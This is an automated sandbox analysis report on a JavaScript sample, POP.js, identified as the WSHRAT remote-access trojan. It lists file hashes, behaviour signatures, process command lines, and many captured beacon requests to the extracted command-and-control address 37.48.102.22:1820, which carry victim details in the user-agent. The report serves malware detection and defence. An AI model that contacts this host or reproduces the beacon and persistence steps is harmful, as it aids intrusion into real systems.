Overview

overview

10

Static

static

1

POP.js

windows7-x64

10

POP.js

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 11:36 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    POP.js

  • Size

    903KB

  • MD5

    e8b8ceb50d77284cb8124fb02e9f1268

  • SHA1

    72ed9a12200a422140a33c504c0db91ea43a3623

  • SHA256

    8273cdbc9b9ebe69d2e208ed576d227903aa07839abe8ac292f732d677ae17e7

  • SHA512

    0fc4f2a9a5e8b42468f20808a228e38d1169c714ce709addfb453ce6fa6f1801f5743d3cec02c9bd63ac550f473bc0de4f675e1f0d470df4846e4d6f4b67d358

  • SSDEEP

    6144:HQSQDBxonj7aB6Y+XMjIM8yDwGEmxu06wwKhgsaaSLZR2NRPIr3++OHoZ5aCtTKq:wSi2

Score
10/10
wshratexecutionpersistencetrojan

Malware Config

Extracted

Family

wshrat

C2

http://37.48.102.22:1820

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

    trojanwshrat
  • Blocklisted process makes network request 23 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Script User-Agent 22 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\POP.js
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5040
    • C:\Windows\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg"
      2⤵
      • Runs .reg file with regedit
      PID:4836
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\POP.js"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Drops startup file
      • Adds Run key to start application
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\regedit.exe
        "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg"
        3⤵
        • Runs .reg file with regedit
        PID:2812

Network

  • flag-us
    DNS
    28.118.140.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.118.140.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    134.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    134.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    58.55.71.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.55.71.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    196.249.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    196.249.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    ip-api.com
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/json/
    wscript.exe
    Remote address:
    208.95.112.1:80
    Request
    GET /json/ HTTP/1.1
    Accept: */*
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: ip-api.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Thu, 03 Oct 2024 11:36:36 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 289
    Access-Control-Allow-Origin: *
    X-Ttl: 59
    X-Rl: 43
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
    Response
    1.112.95.208.in-addr.arpa
    IN PTR
    ip-apicom
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    22.102.48.37.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.102.48.37.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    241.42.69.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.42.69.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    66.209.201.84.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    66.209.201.84.in-addr.arpa
    IN PTR
    Response
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-nl
    POST
    http://37.48.102.22:1820/is-ready
    wscript.exe
    Remote address:
    37.48.102.22:1820
    Request
    POST /is-ready HTTP/1.1
    Accept: */*
    user-agent: WSHRAT|E203BBB8|KVIWLPUJ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 3/10/2024|JavaScript-v3.4|GB:United Kingdom
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 37.48.102.22:1820
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • 208.95.112.1:80
    http://ip-api.com/json/
    http
    wscript.exe
    830 B
     598 B
     6
    3

    HTTP Request

    GET http://ip-api.com/json/

    HTTP Response

    200
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    619 B
     172 B
     6
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    567 B
     172 B
     5
    4

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 37.48.102.22:1820
    http://37.48.102.22:1820/is-ready
    http
    wscript.exe
    475 B
     92 B
     3
    2

    HTTP Request

    POST http://37.48.102.22:1820/is-ready
  • 8.8.8.8:53
    28.118.140.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    28.118.140.52.in-addr.arpa

  • 8.8.8.8:53
    134.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    134.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    58.55.71.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    58.55.71.13.in-addr.arpa

  • 8.8.8.8:53
    196.249.167.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    196.249.167.52.in-addr.arpa

  • 8.8.8.8:53
    ip-api.com
    dns
    wscript.exe
    56 B
     72 B
     1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    1.112.95.208.in-addr.arpa
    dns
    71 B
     95 B
     1
    1

    DNS Request

    1.112.95.208.in-addr.arpa

  • 8.8.8.8:53
    22.102.48.37.in-addr.arpa
    dns
    71 B
     133 B
     1
    1

    DNS Request

    22.102.48.37.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
     160 B
     1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    241.42.69.40.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    241.42.69.40.in-addr.arpa

  • 8.8.8.8:53
    66.209.201.84.in-addr.arpa
    dns
    72 B
     132 B
     1
    1

    DNS Request

    66.209.201.84.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg
    Filesize

    143B

    MD5

    0e5411d7ecba9a435afda71c6c39d8fd

    SHA1

    2d6812052bf7be1b5e213e1d813ae39faa07284c

    SHA256

    cb68d50df5817e51ec5b2f72893dc4c749bf3504519107e0a78dda84d55f09e2

    SHA512

    903ac6e5c8a12607af267b54bcbbedfa5542c5b4f7ea289ab7c6a32a424d5b846ae406d830cb4ad48e2b46f92c504163c0856af8c3e09685a8855f39f616ddb1

    Download Submit

  • C:\Users\Admin\AppData\Roaming\POP.js
    Filesize

    903KB

    MD5

    e8b8ceb50d77284cb8124fb02e9f1268

    SHA1

    72ed9a12200a422140a33c504c0db91ea43a3623

    SHA256

    8273cdbc9b9ebe69d2e208ed576d227903aa07839abe8ac292f732d677ae17e7

    SHA512

    0fc4f2a9a5e8b42468f20808a228e38d1169c714ce709addfb453ce6fa6f1801f5743d3cec02c9bd63ac550f473bc0de4f675e1f0d470df4846e4d6f4b67d358

    Download Submit

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.